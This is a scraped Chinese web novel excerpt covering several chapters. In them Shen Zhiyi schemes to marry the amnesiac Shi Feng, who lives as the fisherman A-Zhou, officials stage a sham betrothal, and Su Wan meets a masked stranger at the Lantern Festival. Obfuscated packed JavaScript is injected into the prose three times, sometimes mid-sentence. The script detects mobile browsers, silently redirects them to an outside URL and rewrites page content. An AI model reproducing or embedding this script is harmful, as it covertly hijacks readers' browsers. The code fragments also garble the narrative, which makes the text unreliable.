沈枝意眼底掠过一抹幽光。 过去半载的光阴,在她心头碾过千重浪。她满怀期许,千里迢迢赴京,只为与从小爱慕的竹马相会。可谁曾想,时枫早已心有所属,竟不惜为了苏绾那贱人,单方面撕毁婚约,让她在满京城的贵女面前,颜面尽失,沦为了笑柄。 她不甘,愤怒,甚至想撕烂苏绾那张狐媚子的脸。可面对时枫的决绝,像一道无法跨越的鸿沟,逼得她匆匆打点行囊,狼狈逃离京城,回到苏州老家,独自舔舐伤口。 就在她试图忘却这段屈辱时,时枫溺亡的噩耗传来,硬生生将她打入深渊。她整日以泪洗面,茶饭不思,甚至生出以死殉情的念头。若非父亲苦苦相劝,她早已随他而去。 命运偏爱戏弄人,翻手为云,覆手为雨。那个“死去”的男人,竟又活着回来了。这一次她没有犹豫,连夜奔赴黄海,将失忆的时枫牢牢攥回掌心。 曾经他为了苏绾辜负她的情意,如今却连苏绾是谁都记不清了——真是大大的讽刺。只要在他面前绝口不提苏绾,彻底封死苏绾这个人的存在,过往耻辱将一笔勾销。 他是属于她沈枝意的,是她命中注定的夫婿。她不会再给他选择的余地,更不会让任何人破坏这天赐良机。 至于阿喜那对父女,在她眼里不过是无足轻重的蝼蚁。她只需稍施手段,蜜糖与大棒恩威并重,让他们乖乖闭嘴的同时,又能达到掌控时枫的目的。 这场被搅乱的婚约,她会亲手补全,织就一份锦绣如意姻缘。 想到这里,佳人勾唇一笑,相邀阿舟共游园林,玉手和烟弄枝梅。 “此园原是苏舜钦变法失败,贬谪吴中后修葺建造。他身虽遭贬,风骨不折,从此沧浪之名传开。” 大约触景生情,阿舟竟脱口而出两句诗:“清风明月本无价,远水近山皆有情。” 他果然记得!沈枝意眼中闪过一丝惊喜,旋即笑着纠正他:“上句乃欧阳修所作,下句才是苏舜钦写的。” 阿舟挠了挠头,茫然道:“我不晓得什么苏什么修,随口胡说八道的。”顿了顿,艰涩道:“我只会打渔织网,是个粗人。” 沈枝意唇角笑意更柔,“不是什么大不了的事,阿舟哥哥不必在意。” 她温和介绍:“此处清幽,适宜修身养性。阿舟哥哥不妨安心宿在这沧浪亭,莫被外人俗世所扰,对身心都有好处。” 哪知阿舟却不接她的话茬,只紧声问道:“阿爹和阿喜住在哪里?” 沈枝意眼底划过一抹不耐,很快被笑意掩去。她背着手,轻快道:“放心吧,他们自然被好生安置着,过得舒舒服服,都快乐不思蜀了。” 她微微歪头,露出一副乖巧俊俏模样,“听说阿喜姑娘喜食小食,我特意派人采买了苏州最好的点心送过去。她高兴得合不拢嘴,直言要在苏州住一辈子呢。” 枯荷丛中惊起一群寒鸦,阿舟忽然想起,阿喜总是把最肥的鱼偷偷塞给他,又怎会为了几块糕而不理睬他。 “我要见阿爹和阿喜。”阿舟咬紧后槽牙,语气坚定。 沈枝意神色一僵,旋即伸手握住他粗壮的手臂,声音娇软,楚楚可怜:“阿舟哥哥,你可知我等这一天,已经等了多久?” 她眼圈微红,委屈巴巴:“我日日盼着你回心转意,为你寝食难安,如今你终于回到了我身边,你让我、让我如何舍得放开?” 说着,指尖收紧,眸光藏着一抹试探与掌控。 可阿舟的回应,是猛地甩开她的手。 “沈小姐慎言。”嗓音低沉而沙哑,像被海盐腌过的旧缆绳。 男人突然的变卦,令沈枝意脸色陡然一沉,笑意尽褪,缓缓道:“他们过得很好,但若你执迷不悟,我可不敢保证,他们还能不能一直这么好下去。” 她轻轻拨弄衣袖,漫不经心呢喃:“李家那条破渔船,若是腊月里沉进冰河,怕是连尸首都捞不着。” 空气瞬间凝滞。 阿舟眸色一冷,周身气势骤变,刹那间,杀意翻涌。他猛然欺身上前,一把掐住了沈枝意的喉咙。力道之重,令她喘不过气。 “你敢。”男人的嗓音低沉而森冷,仿佛从深海之底翻涌而出。 沈枝意大惊失色,双手下意识拼命掰他的手腕,艰难如撼动磐石。她的脸憋得通红,断断续续地喘息:“你……放手……” 男人毫无动容,五指收紧,眸底翻涌着阴鸷的光——那位叱咤风云的“冷面阎罗”,终于回来了。 “我不管你们这些人胡乱搞什么勾当,”声音冷得像凛冬寒潮,“敢动阿喜和阿爹一根汗毛,我要你的命。” 沈枝意感觉眼前阵阵发黑,胸腔剧烈起伏,连呼吸都变得奄奄一息。死亡的阴影前所未有地逼近,她甚至来不及思考如何周旋,惟剩本能地挣扎。 “放……放手……”喉咙被扼得几乎发不出声音,明眸染上一丝惊惧,泪水氤氲。 阿舟斜睨了她一眼,意识到再不松手,世家小姐的小命不保。 男人这才缓缓松手。 “咳咳……”沈枝意弓着小身板,不停地咳嗽。 长那么大,她还从未经历过这等入骨的死亡威胁,男人冰冷决绝的眼神,令她永生难忘。 她算准了时枫失忆,算准了他不记得苏绾——唯独忘了,他同样也不记得她自己。 在阿舟的眼里,她不过是个以强权压人、张扬跋扈的世家小姐。 根本比不得阿喜。 沈枝意心底生出一丝绝望。 她眼睁睁看着,自己苦心经营的终身大事,正如白茫茫潮水,一落千丈,全面崩塌。 * 水竹湛清华,天然去雕饰。 沈恪坐在堂前,花白虬髯鬖鬖,眉宇间浮着风霜浸染的痕迹。他捋了捋胡须,长叹一声:“时家一门,竟落得如此凄凉境地,世事当真无常。” 堂下邵云礼正襟危坐,青色衣衫熨帖无褶,眸光微敛道:“圣意难测。” 他将调查所得,细细整理一番,又掐头去尾,刻意隐去关于苏绾与九香的全部真相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060614|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只着重渲染朝廷暗卫萧染奉命追杀时枫,以及江湖势力对时枫步步紧逼的事迹。 前因后果,清晰明了。 但有一点始终不通。 圣上缘何对时家痛下杀手? 难道真如他所料——皇帝认定时谦私吞了都蛮族的宝藏? 堂堂一国之君,天下尽握于掌中,竟这般贪婪外族宝藏,不惜对肱骨老臣赶尽杀绝? 沈恪微阖双目,神态从容,显然对真相心知肚明,却不愿点破其中因果。 他沉吟片刻,摇头道:“时谦虽是个犟种,并非愚忠之辈。若圣上当真无端罗织罪名,灭他满门,他岂会束手就擒,坐以待毙?” 邵云礼没有急于追问,而是顺势道:“眼下最紧要的,是如何让时枫‘起死回生’,又不引来旁人疑心,再次对他痛下杀手。” 顿了顿,补充道:“他如今失去记忆,犹如活靶子一个,任人宰割。这京城之内,六部五寺,到处都是他的仇敌,谁也护不了他。” 沈恪也颇感棘手,捋着胡须喃喃道:“这……如何是好?” 二人正思忖对策,忽见沈枝意踉跄闯入堂前。 她脚步虚浮,险些摔倒在门槛上,后又扶着门框站起,喘息未定,发髻松散,珠钗倾斜,一缕碎发垂落颊侧。颈间指痕狰狞可怖,泛着青紫痕迹。 小姑娘未语先泣,断断续续哭道:“爹爹,枫哥哥他、他……” 沈恪心头一紧,忙起身快步迎上前,伸手轻拍女儿后背,温声安抚。他顺手取出干净的汗巾,替她拭去脸颊泪痕,轻言细语哄了许久,才让女儿止住哽咽。 谁知沈枝意接下来的话,惊得堂中气氛瞬间凝滞。 “枫哥哥,他要杀我。” 经过邵云礼耐心细问一番,方才微微松了口气。他对时枫的脾性再清楚不过,那家伙自小养成的桀骜霸道脾性,动不动就掐人脖颈。不过是些吓唬人的惯用手段,真要下杀手的话,早不知有多少人丧命了。 可沈恪却是越听越沉重,眉心拧得深成一道沟。从前的枫小子,哪敢这样对他的卿卿下手?不想活了!可惜时枫失忆了,行事令人无法捉摸,若不尽快想办法医治,后果不堪设想。 堂外寒风乍起,卷落一片黄叶,贴着门槛缓缓旋转,落在沈枝意的绣鞋旁。 沈枝意泪眼朦胧,满是委屈:“枫哥哥是真的想杀我,不是吓唬我,卿卿分得出来。” 她攥着父亲的衣袖,撒娇道:“就是那对坏心眼的渔民父女教唆枫哥哥变心!爹爹快想办法赶走他们!” 沈恪颇感为难,沉吟道:“人家救了枫小子,咱们感激还来不及,怎能恩将仇报?” “我不管!”沈枝意甩开他的衣袖,白玉珠钗从发间滑落,发出清脆碎裂声,“枫哥哥只能娶我,不能娶别人!” 堂外的风更烈了几分,吹得窗棂吱呀作响,好似替她鸣不平。 她是真的怒了,连外人面前的温婉形象都懒得维持。时枫的失控令她感到惶惶不安,她的那些精心筹谋的小算计,似乎都派不上用场了。 唯一的退路,是向父亲求助。 沈恪揉了揉额角,安抚道:“枫小子失忆了,他暂时记不起来,给他点时间,他自然会答应你。” 沈枝意哪里肯听,正要不依不饶闹下去,忽然被一道清冷嗓音打断。 “依下官之见,这未尝不是个法子。” 此话一出,父女二人皆是一愣,齐齐望向他。 沈恪沉吟片刻,迟疑道:“你的意思是……让枫小子娶卿卿?” 邵云礼微微颔首,指尖缓缓叩响案几,“正是。如此一来,以阿舟的身份,自然引领时枫入局,直至他顺利恢复记忆为止。” 他低头翻了翻案旁的黄历,手指在某一页顿住,掀眸淡淡道:“正月十五,宜嫁娶。沈府招赘,天经地义。” 110. 假婚 冬日难得的暖阳洒进农家小院,照得泥地泛着浅浅的光。院中站着大理寺卿邵云礼,身后跟着晴雷、文竹等人,本就狭小的院落显得更加局促。 李老爹蹲踞墙根阴影里,背靠青砖围墙,握着乌木烟杆,吧嗒吧嗒抽着旱烟。 “这位官爷,”他半眯着眼,吐出一串烟圈,不耐烦道:“您把俺们圈在这旱地,已经个把月了。阿舟愿走愿留,他自己说了算。可俺们又没犯法,该放回海上去了。” 邵云礼在一旁寻了张小凳,撩起青色长袍坐下,闲话起了家常:“放不放你们走,我可做不了主。您该清楚,苏州这地方,不姓邵,也不姓李,姓沈。就算是知府大人,也得看沈家的脸色行事。” 这话说得滴水不漏,不威逼、不许诺,软刀子绵里藏针,叫人心里直发寒。 邵云礼在沙洲吃过亏,他晓得与渔民打交道不能打官腔,要讲百姓听得懂的话,否则就是天王老子来了,还不如里长的威慑力大。 李老爹低头敲了敲烟锅,磕出些残灰落在脚边,“官爷何必为难咱们老实人?再耽搁下去,开春的黄花鱼可不等懒汉。” “哎哟李老爹,你真是死心眼。”邵云礼摇头失笑,“喜事临门,还惦记着黄花鱼?怕是再过两天,您就不想走了。” 屋里传来窸窸窣窣的响动,阿喜探头探脑地走了出来。杏色的裙摆拂过门槛,扬起些许灰尘,她脚步急促,没留神踢翻了一只空竹篓,发出一声闷响。 “什么喜事?”她抬头问道。 “当然是天降横财咯。” 邵云礼故意卖了个关子,侧头觑阿喜的反应,他晓得这丫头是个财迷。 果不其然,阿喜抬手抹掉嘴角沾着芝麻糖渣,充满好奇道:“多大的财?快说快说。” 邵云礼翘起二郎腿,慢条斯理道:“沈老将军要把宝贝女儿许配给阿舟,你们和沈家结为姻亲,身价百倍千倍增长,往后荣华富贵享之不尽。难道不是天上掉下来馅饼么?” 空气倏地凝滞。 李老爹的烟杆“啪嗒”掉在地上,烟灰溅了满地。阿喜睁大了眼睛,嘴巴张得足以塞下一整块糕。 屋檐下几只麻雀扑棱棱地惊起,细碎羽翅拍打成风,吹得竹篱上晾晒的渔网东倒西歪。 阿喜感到不可思议:“娶沈姑娘?” 她仔细想了想,沈家大小姐平日里对她颇为照顾,不仅买点心给她吃,还送她几身花裙子。 这门亲事,听上去好像还不坏。 阿喜掰着指头算了又算,阿舟这半年吃了她上百条鱼,替她补过三十次渔网,还不算那些跑腿、打渔、采买的活计。 用一生的荣华富贵换这些,似乎是笔划算的买卖。她忍不住开始幻想,住进沈家的大宅,过着锦衣玉食的日子。 李老爹沉默了一阵,开口道:“咱们这等小民,哪里高攀得上世家小姐?这桩婚事,阿舟怕是做不得主。” 邵云礼轻笑:“这是沈老将军的意思,阿舟做不得主,你们更做不得主。” 一席话触了李老爹的逆鳞,“我怎么做不得主?阿舟是我李家的上门女婿,这婚书是里正大人亲自盖的印。” 阿喜和阿舟虽有夫妻之名,未有夫妻之实。 邵云礼的叹息,轻得像片雪花,“十两银子买的假婚书,怎经得起衙门的火漆印?这张纸,不过是骗骗晴雷、文竹罢了。” 他试图说服李老爹:“阿舟入赘沈家,这是天大的好事。阿喜可作阿舟的妹妹,您老人家自然是阿舟的养父,往后你们一家都能享福。何必继续打渔,过这风里来雨里去的日子?” 沈家开出的条件极具诱惑力,李老爹缓缓蹲下身,默默捡起掉落的烟杆。 门头的风铃轻轻晃了一下,发出悠远而空灵的声音,像是海面上传来的低吟。 邵云礼目光微动,心里已有几分笃定。老百姓眼皮子浅,稍稍许以好处,终究是拗不过现实。 还未等他彻底放松,父女二人异口同声道:“阿舟愿意吗?” 邵云礼笑道:“阿舟自然是听你们的话。你们叫他往东,他绝不敢往西。” “这倒是,阿舟最听话了。”李老爹得意道。 “你们在谈什么?”阿舟刚从外面归来,手里提着买给阿喜的头绳,和李老爹的烟丝。 阿喜忽然莫名心虚,红着脸道:“没、没什么。” 阿舟目光扫过众人,隐约察觉气氛不对,他缓步踱向屋檐下的木架,将东西放好,皱眉道:“到底是怎么回事?” 邵云礼仓惶站起身,嘴角带着颤抖的笑意:“阿舟,你小子运气不错,沈老将军要将女儿许配给你,很快你就是沈家的女婿了。” 阿舟的手几不可察地抖了抖,指腹蹭过木架上落了一层灰的竹篮,嗓音略显干涩:“你说什么?” “沈枝意,沈家嫡女,愿意招你为婿。就是字面意思,赘婿,你懂吗?”他不确定时枫的学识,有没有跟着记忆一同消失。 李老爹倚在墙根,烟锅残存的烟丝燃尽,只剩轻烟袅袅散开。 阿喜站在门槛边,脸上挂着期待的目光。 显然阿舟听得懂,脸色瞬间变了,冷声道:“不可能。” 阿喜不满地叫道:“天上掉馅饼都不捡?” 她两步上前,狠狠瞪他,“你这个傻大个。沈家什么门第,多少人求都求不来,你不为自己想,也该为家里想想吧!” 阿舟低头:“我不喜欢沈枝意。” 阿喜叉着小腰:“沈姑娘怎么你了?人家长得好看,出手大方,还给我买点心花裙,她哪里不好了?” 阿舟嘟囔:“她坏。” “哪里坏了?”阿喜追问。 阿舟沉默不语,显然不愿多说。 他不能告诉他们,沈枝意根本不是表面温婉善良的模样。她心思深沉,手段狠厉,非普通人家女子可比。一言一行透着诡异,还不止一次试探他,控制他。 让他娶她? 做梦! 阿喜被他吊起了好奇心,眯眼仔细打量他:“我怎么觉得,你不是不喜欢她,而是怕她呀?” 阿舟摇头:“不是。” 阿喜急了:“当个有钱人不好吗?沈姑娘头上一根簪子,都比咱家整条渔船值钱。你入赘到沈家,我也跟着沾光,咱们吃一辈子买来的黄花鱼!” 阿舟斩钉截铁:“不去。” 阿喜气得不行,转头看李老爹:“阿爹,你快劝劝这头倔驴。” 李老爹抽了口旱烟,慢悠悠道:“阿舟,你当真想清楚了?” 阿舟的肩背被日光拉出一道深长的影子,他低垂着眼,笃定道:“想清楚了。” 像是早就料到会是这个结果,李老爹抬眼看向邵云礼,讪笑道:“俺家阿舟不愿意,官爷还是另觅良人吧。” 邵云礼觑着这对父女,忽然意识到,自己被耍了。李家父女根本没打算劝服阿舟入赘,而是顺势做了一场戏,护他到底。 他脸色沉了几分:“你们可知,违抗将军的后果?” 阿喜一听,立刻炸毛了,叉着腰大声道:“沈家招女婿,还要逼人就范?那干脆直接让皇帝下道圣旨好了,何必来问我们意见?” 她眼睛瞪得圆圆的,像只护食的小猫,“阿舟不愿娶,谁也别想逼他!” 李老爹将烟杆往地上一磕,发出清脆的声响,“俺家是老实本分的百姓,不怕风浪。官爷若真要逼迫,俺这把老骨头,今日就豁出去了。” 院中气氛骤然紧绷。 落叶被风吹起,旋转着落向门槛边,柴火堆里老鼠窸窣爬动。 邵云礼缓缓道:“今儿个你们不答应也得答应,否则谁都别想出这个门。” 他本意是要继续掰扯掰扯,可这番话落到渔民耳朵里,基本就跟威胁灭口没什么区别。 果不其然,阿喜拾起地上的竹杖,小手一扬,朝邵云礼冲去,怒喝道:“欺人太甚!” 一旁看戏的晴雷连忙横臂去挡,小臂登时青紫一片。文竹从侧面扑来,试图抱住阿喜的腰,却被她一脚踢开。 李老爹见状,顾不得许多,抄起烟杆加入战团。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李老爹啪嗒啪嗒地嘬着烟嘴,烟锅里红光一明一灭。他缓缓吐出一口浑浊烟雾,目光幽深望着地面。 “既这么说,那就按照官爷吩咐的办吧。” 乡下人淳朴如太古,骨头硬得刀砍不断,心肠软得像块豆腐。李老爹在海上讨生活大半辈子,身下只落得阿喜这一个女儿。他心里比谁都清楚,若是阿喜出了问题,他拼了老命也要让她得偿所愿。如今沈老将军的女儿命不久矣,作为一个父亲,他何尝不能共情? 邵云礼见目的已达,心下总算安定,拱手道:“婚期已定,正月十五。到时候,该请的人,一个也不会少。” 言毕,他转身甩袖离开,晴雷文竹紧随其后。 才刚踏出院门,迎面一股湿冷的风卷来,邵云礼下意识地拢紧了衣襟,嘴角掩饰不住地得意。 早知一个小小的谎言,足以解决麻烦,他又何必折戟沙洲,险些砸了自己“断案神探”的金字招牌。 至于沈枝意那边,更是好对付。只消一口咬定,阿舟恢复记忆的机会,离不开李老爹一家支持。若想顺利成婚,唯有好生善待这些渔民们。 两边忽悠,皆大欢喜。 唯一的不确定因素,是苏绾。 此事迟早会传入她的耳中,苏绾素来记仇,怕是要将这笔假结婚的账,算在他自己头上。 他嘴里默念:苏绾,阿喜,沈枝意。 再没有比这更混乱的修罗场,嘻嘻。时枫啊时枫,你再不赶快恢复记忆,恐怕会被三个女人生吞活剥了。 想到这里,邵云礼竟生出几分看戏的兴味,他已忍不住抱起手臂,坐看几个女子掀起滔天巨浪。 世事难料,风云突变。 临近年关,大理寺卿方才处理完苏州事务,正准备返京复命之际,沈恪收到了圣旨,召十三省二品官吏入京觐见,婚礼自然被迫延期。 一道旨意,投石入湖,激起千层浪。 111. 上元 马车行驶在官道上,车轮碾过冬日残雪尚未融尽的泥土,留下一道道深深浅浅的辙印。窗外的景色疾速向后退去,天地苍茫,偶有孤鸟展翅高鸣,随即隐没连绵山峦。 苏绾倚着车窗,望着流云被风吹散,心情恰似乘风破浪的渔舟,颠簸起伏不定。 文竹信中提及的渔民,究竟是不是他?如果真的是他,又怎会甘愿做别人的上门女婿? 太多疑问在脑海翻涌,无从寻得答案。 自接到圣旨后,殷潜匆匆整顿车马行装,带着苏绾、秦欢、萧染等人启程北上,留殷夫人操持府中事务,照顾瘫痪在床的苏夫人,以及无所事事的苏尽欢。 尽管少年一再吵闹着同行,理由是回京探望父亲,可苏绾冷冷道:“父亲有姨娘照顾,母亲却只你一个贴心好大儿。” 殷夫人不许苏尽欢争辩,唯恐坏了殷潜的正事,敛目嗔道:“你留在家里。” 少年撇了撇嘴,终究不敢再言。 于是,正月尚未过去,一行人已踏上北行之路。 官道两旁的杨柳开始抽芽,枯槁枝条迎风晃动,天空渐渐泛起春意的淡蓝。旅途遥远,沿途驿站屈指可数,马蹄声踏踏,这条通往京城的路,注定漫长且无可回头。 一路上秦欢心事重重,与她交谈少了许多,大部分时间待在殷潜车厢,似乎商议什么机要。 苏绾猜测,他们在商讨如何应对倭寇。其实她心中早有筹谋,暂时还未找到合适时机公开。 上一世沈恪抗倭时所用的策略,她清楚得很。她打算将这法子,“献计”给这一世的沈恪,协助他达成胜局。此法固然鸡贼了些,但准保能将倭寇一网打尽。 她只是没有机会,也没有理由,贸然上门拜见沈恪,只会引起对方猜忌。 而这道圣旨,恰如天赐良机。 沈恪乃福建都指挥使,必然也在受召进京的名单之列。如此一来,他们便能在皇城之中,正大光明地会面。 苏绾还有一事,要向沈恪查证: 文竹信中提到,沈恪已经在路上。倘若此事属实,那么答案,或许已经在他手中。 因此,她必须即刻进京,不可有误。 寒风穿过半掩的车窗,拂起她鬓边一缕青丝,随风轻轻飘荡。 萧染骑着骏马,走在马车一侧,他歪头觑着那双静默无波的眸子,舔了舔干涩的唇角,“前面就是徽州了,今晚正值上元,你想不想去观鱼灯?” 自从经历海边倭寇据点一案后,萧染对她的态度忽然大变,不再是趾高气扬、针锋相对的模样,反倒有意无意地亲近了许多。不仅买下全杭州最负盛名的点心塞满了她的闺房,这一路更是处处为她挑好玩的、找好看的,仿佛要将世间所有风光热闹,都一一摆到她面前,让她随心挑选。 苏绾当然猜得到,少年懵懂的心思。 她与萧染,实际是一层姑表亲的血缘关系,萧染才是她货真价实的表哥。 她知道,但不说,也不能说。 苏绾想了想:“既要观灯,先得换身行头,沐浴斋戒一番,方显诚心。”她眯起眼,勾唇道:“不如你先去剃个头?” 萧染眨了眨细长的眼,不知她话中何意。 马车继续前行,碾过一地斑驳光影,远处徽州的轮廓隐约浮现。 上元节的徽州,灯火辉煌,照得整座城池流光溢彩。人潮川流不息,商贩叫卖声,孩童欢笑声,笙歌袅袅,凤箫声动,玉壶光转,一夜鱼龙舞。 苏绾提着一盏鱼灯,薄绢为身,竹节为骨,灯火透出温暖光晕,宛如游鱼戏水。秦欢走在她左侧,修长指节提着莲花灯,眉目清朗,温润如玉。 “尝尝这个。”他从袖中摸出一包蜜饯,“徽州特产,我刚买的。” 苏绾拈起一颗蜜饯,正要入口,右侧萧染提着虎头灯探身过来,“前面有杂耍,要看么?” 少年竹月色襕衫在灯影下熠熠生辉,发髻也精心修剪打理过。看得苏绾障袂偷笑,这个傻瓜竟没意识到那句有关正月的俗语。 他该感谢她。 三人穿行在人群之中,苏绾的鱼灯被挤得东倒西歪,萧染索性将她护在身前,虎头灯高高举起,为她隔出一方安稳之地。秦欢落后半步,目光落在萧染扶着苏绾的手上,眸色微暗。 “快看。”萧染伸手一指。 苏绾顺着他的手指望去,街头一盏巨大的走马灯缓缓旋转,灯影映出一段才子佳人的凄美传说。 光影交错,恍如隔世。 上一世,皇宫中的上元节,苏绾打扮成小宫娥,踩着皑皑白雪,偷偷跑去冷宫与秦欢相会。 秦欢紧紧搂着苏绾,像揣着块宝贝一样,不肯松开。 他们在灯火阑珊处热吻。 往事不堪回首,秦欢怅然道:“灯影虽美,终究虚幻一场。” 这话听得垂丧且不吉利,苏绾望了一眼秦欢,猜度他多半还在为倭寇之事烦扰。 “佛曰:凡所有相,皆属虚妄,一切有为法,如梦幻泡影,如露亦如电,应作如是观。” 她由衷地鼓励他,“人活一世,何必分清楚现实与虚幻,到头来都是梦一场,不如享受当下。” 秦欢听得愣住。 忽然一阵风吹过,苏绾的鱼灯晃了晃,烛火险些熄灭。 秦欢将莲花灯递给苏绾,低头为她整理鱼灯的灯穗。 萧染则将虎头灯塞进苏绾另一只手里:“双灯护体,百邪不侵。” 苏绾哭笑不得,低头看着手中两盏灯,一莲一虎,一柔一刚,恰如眼前的两人。 萧染唇角带笑:“你选哪盏灯?” 秦欢静静看着她,沉寂无言。 这俩人,从刚才就感觉不对劲。苏绾将两盏灯各自塞回他们手中,撇嘴道:“我自己有灯。” 萧染和秦欢对视一眼,又同时望向苏绾,眼底皆藏着几分无奈,几分宠溺。 远处的夜空骤然被烟火点亮,东风夜放花千树,更吹落,星如雨。 萧染兴奋道:“前面放烟花呢!” 人潮涌动,苏绾挤过几个摊贩,再抬头时,秦欢和萧染的身影已然消失。她回头逡巡,四周尽是陌生的面孔。 “秦欢?萧染?”她试着喊了两声,淹没在喧嚣中。 苏绾只好提着鱼灯继续向前走,不知不觉拐进一条小巷,本想抄近路回到主街,可巷子越走越深,光线也逐渐暗淡下来。 她停下脚步,心中有些不安。这条巷子似乎没有尽头,两边房屋也显得陌生而冷清。她正犹豫是否要原路返回,忽然脚下一滑,踩到一块结冰的石板,身体骤然失去平衡,奋然向后仰去。 就在她以为自己要摔倒在地时,突然,一只结实的手臂稳稳扶住她的腰肢,将她拉回平衡。后背贴上一堵坚实的胸膛,一股熟悉又陌生的气息将她笼罩。 苏绾瞪大双眼,手中的鱼灯晃了晃,烛火映亮了男人露出的半张脸——青面獠牙的傩戏面具遮住眉骨,露出深邃的眼与凌厉的唇。 她隐约感到那双眼似曾相识,本想将鱼灯凑得更近一点,岂料男人却将她的手拨开,似乎不想被她看清楚长相。 “多谢公子。”苏绾起身想退开。 可男人并没有松开扶在她腰间的手,反而微微低下头,面具下的眼睛直直盯着她。 苏绾被他看得有些不自在,思绪还未从回忆中抽离,男人的脸已近在咫尺。苏绾下意识地屏住呼吸,心跳如鼓。 姿势极不寻常——她仰面朝上,男人低头吻住了她的唇,鼻尖蹭过她的下颌,他的呼吸温热缠绵,带着一股淡淡的咸涩气息,像是海风的味道。 这个吻并不激烈,夹杂着难以言喻的违和感。苏绾想要推开他,又被某种莫名的情绪牵制,无法动弹。男人的手掌贴在她的后颈,指尖轻轻摩挲,似乎安抚她的不安。 苏绾的脑中一片空白,手中的鱼灯不知何时掉在地上,灯纸被冰碴划破,烛火摇曳了几下,最终熄灭。巷子里唯余几缕微弱的光线,映出两人交叠的身影。 不知过了多久,男人缓缓抬起头。苏绾的呼吸有些急促,脸颊泛红,眼中充满了迷茫和困惑。 “你是谁?”她哑声道。 男人没有回答,只是静静地看着她。面具下的眼睛深邃如海,仿佛藏着无数秘密。 苏绾想要摘掉他的面具,被他握住手腕。 忽然远处传来呼喊:“阿舟,阿舟你在哪?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077455|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >男人眸色瞬间暗了几分,他退后一步,夜风卷起他衣角,未作停留,转身消失在深巷尽头。 苏绾怔在原地,微微喘息,心跳渐渐平复,心中的疑惑愈发浓烈。 他是谁?为什么吻她?为什么没拒绝他? 他的吻,如此的熟悉,却又陌生。身上并没有清冽的松木香味,而是一股淡淡的海风味道。 苏绾以为自己做了一个梦。 巷口的光线渐渐明亮,苏绾听到秦欢和萧染的呼喊声。 “苏绾。” 她深吸一口气,弯腰捡起地上的鱼灯。灯纸已经破损,烛火也已熄灭。 “我在。”她扬声回应,快步走出巷子。 秦欢和萧染看到她,明显松了一口气。 “你怎么跑到这里来了?”秦欢忧心道。 “我走散了。”苏绾勉强笑了笑。 萧染睇着她手中的破灯,“你去捉妖了么?” “摔了一跤。”苏绾轻描淡写地带过。 秦欢没有多问,握住她的手不放,“我们找个地方修灯,再买些点心。” 苏绾点点头,跟着他们重新汇入人流。 那个戴着面具的男人,那个带着海风气息的吻,像一根荆棘,扎进她的心里。 她忍不住蓦然回首那条幽深的巷子。 “你在看什么?”秦欢顺着她的目光望去,巷子里空无一人。 “没什么。”苏绾收回视线,“我们走吧。” 大约,是她太想他了,他借尸还魂到人间看她一眼。 那边阿喜提着一盏鱼灯,在原地转来转去,目光不时扫向巷子口,焦急得恨不得跺脚。 等了半天,终于看见阿舟从巷子里钻出来,她立刻冲上去,气得小脸通红:“臭阿舟,乱跑什么?害得我满街找你。” 阿舟随手拍了拍袖子,装作若无其事地挠了挠头:“我以为那是一条近路,谁知道走进去,连个鬼影都没有。” 绝口不提巷子里的意外。 阿喜没好气地瞪他一眼,“那帮官老爷脾气大着呢,他们不喜欢你在人多的地方晃来晃去,小心又惹事。” 阿舟随口道:“我本来打算在马车里闷头睡大觉,是你非要拉着我来看灯会。” 阿喜被他噎了一下,心虚地哼了一声,“行啦行啦,别念叨了。我再吃点蜜饯就回去。” 她一边嘟囔着,一边从袖袋里摸出一颗蜜饯塞进嘴里,腮帮含得鼓鼓的,灯影下的小脸红扑扑。 阿舟看着她馋嘴的模样,轻笑着摇了摇头,替她拨正快要歪倒的鱼灯。 一路上阿舟左顾右盼,目光不时在人群中流连,众里寻她千百度。 阿喜察觉到他的异样,狐疑地问:“你在找谁?” 阿舟被她盯得有些心虚,闷着脑袋往前走,假装没听见。 阿喜哪肯罢休,揪住他的袖子,连声逼问:“说!你是不是做了什么亏心事?” 阿舟依旧不吭声,只是加快了脚步。 阿喜气得跳脚,干脆一巴掌拍在他肩头,捶了几拳,恨道:“臭阿舟,鬼鬼祟祟的,最好别被我发现你藏了什么秘密。” 阿舟闷闷地挨了几下,耷拉着脑袋,一副打不还手的样子,惹得阿喜更加狐疑,却又无可奈何。 夜色愈深,灯市依旧热闹非凡,二人的身影在流光溢彩的街巷中穿梭,几乎走遍了整条灯市,直到夜半三更,才匆忙赶回客栈。 守门的晴雷看见两人回来,眼睛都快瞪出绿光。邵云礼早就吩咐过,阿舟的身份绝不可对外声张,以至于晴雷不敢大张旗鼓地出去找人,愣是干着急了大半夜。 他几步冲上前,压低声音道:“爷,以后可不能再乱跑了,属下的魂都快飞了!” 阿喜不满地叉腰瞪他:“你们这些官老爷也忒烦人,这都顺着你们心意上京了,还不许人家沿途逛逛风景?” 她扬起下巴,气鼓鼓地威胁道:“逼急了,我们可就回沙洲去了。” 晴雷扶额无奈道:“行了行了,逛吧逛吧,就当我什么都没说。” 